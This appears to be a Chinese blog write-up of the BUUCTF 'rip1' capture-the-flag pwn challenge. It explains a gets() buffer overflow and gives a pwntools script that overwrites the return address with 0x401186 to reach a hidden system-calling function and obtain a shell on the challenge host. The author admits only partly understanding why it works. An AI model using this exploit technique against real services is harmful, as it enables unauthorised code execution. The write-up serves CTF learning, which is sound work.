这题考的是:缓冲区溢出漏洞

打开IDA,发现函数里有一个fun函数,能直接调用系统函数

【Pwn | CTF】BUUCTF rip1-LMLPHP

而main中没有调用这个函数

我们要做的就是利用这个函数进行调用系统函数

这文件是在靶机,就是靶机存在这个漏洞,我们要攻击他

那么来看一下main,发现很简单,只有一个gets获取输入,存到s数组变量里

看一下双击s变量,缓冲区大小

【Pwn | CTF】BUUCTF rip1-LMLPHP

知道了缓冲区大小,下一步就要知道fun函数的入口地址

【Pwn | CTF】BUUCTF rip1-LMLPHP

从汇编上看,是能够发现有注释告诉我们的入口地址

import pwn

# 建立连接
p = pwn.remote('node5.buuoj.cn','27771')
# 拼接payload,15个字节的空间占满,然后拼接上函数入口地址
payload = 'a'.encode()*15 + pwn.p64(0x401186)
# 发送代码
p.sendline(payload) 
# 建立交互shell
p.interactive()

可能是因为fun函数里有system这种终端控制函数,所以能getshell吧

然后又可以建立连接,很屌,解释不清楚,以后做多两题才懂

02-02 17:41